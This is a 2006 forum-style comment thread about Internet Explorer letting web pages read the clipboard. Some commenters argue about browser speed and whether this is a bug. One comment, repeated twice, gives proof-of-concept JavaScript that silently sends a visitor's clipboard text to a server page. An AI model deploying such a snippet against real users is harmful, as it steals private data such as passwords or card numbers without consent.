jerryandmissy.com— With a simple line of code you can display (at a minimum) what is on a person?s clipboard that uses IE with standard security set. I have also included directions on how to turn it off.
Jun 18, 2006View in Crawl 4
Proof of concept code:http = new ActiveXObject("Microsoft.XMLHTTP");http.open('get', 'captureUserClipboard.asp?clipboardText='+window.clipboardData.getData("Text"));http.send(null);will post the clipboard data to another asp page called captureUserClipboard.asp, not tested but it should work.No user interaction required
dude3609: It's not an opinion, it's a fact. IE is faster than Firefox (at least in terms of initial startup-time). Not only is it obvious just be using it, but Slashdot had a link to a study awhile back that tested the speed of several browsers on Windows (sorry, I can't vouch for the accuracy of other OSes), and Firefox ranked in the bottom of the browser speed test. Opera, however, claimed, like, the top 4 ranks in terms of speed.That said, I use Firefox, myself, and I couldn't live without extensions and tabs.Oh, and for the record, a lot of people seem to be under the impression that this is "yet another IE bug that proves Firefox is more secure." Not so. If it was a bug, it'd take a LOT more confusing Javascript than, "window.clipboardData.getData('Text');". Is it an interesting feature? Yes. Is it neccessary? No. Could it be exploited and turned into a security vulnerability? Absolutely. However, as long as there are web scripting languages, there will always be browser vulnerabilities.
I know my credit card number. I don't cut and paste that from one thing to another. And if people store things that sensitive on their computer and have to cut and paste they're just asking for it.
twelvedogsJun 19, 2006
Proof of concept code:http = new ActiveXObject("Microsoft.XMLHTTP");http.open('get', 'captureUserClipboard.asp?clipboardText='+window.clipboardData.getData("Text"));http.send(null);will post the clipboard data to another asp page called captureUserClipboard.asp, not tested but it should work.No user interaction required
jasqwertyJun 19, 2006
Should be interesting how an Office app works in other browsers. All OS dependent keyboard shortcuts I guess.
masamunecyrusJun 19, 2006
dude3609: It's not an opinion, it's a fact. IE is faster than Firefox (at least in terms of initial startup-time). Not only is it obvious just be using it, but Slashdot had a link to a study awhile back that tested the speed of several browsers on Windows (sorry, I can't vouch for the accuracy of other OSes), and Firefox ranked in the bottom of the browser speed test. Opera, however, claimed, like, the top 4 ranks in terms of speed.That said, I use Firefox, myself, and I couldn't live without extensions and tabs.Oh, and for the record, a lot of people seem to be under the impression that this is "yet another IE bug that proves Firefox is more secure." Not so. If it was a bug, it'd take a LOT more confusing Javascript than, "window.clipboardData.getData('Text');". Is it an interesting feature? Yes. Is it neccessary? No. Could it be exploited and turned into a security vulnerability? Absolutely. However, as long as there are web scripting languages, there will always be browser vulnerabilities.
zannethJun 19, 2006
Surfin' Safari.
yellowperilJun 20, 2006
Oh my, I dont see any mention of Banksy on your site! Do you also rip off peoples ideas? If you are gonna rip at least change it a lot more...
regedit2dJun 21, 2006
I know my credit card number. I don't cut and paste that from one thing to another. And if people store things that sensitive on their computer and have to cut and paste they're just asking for it.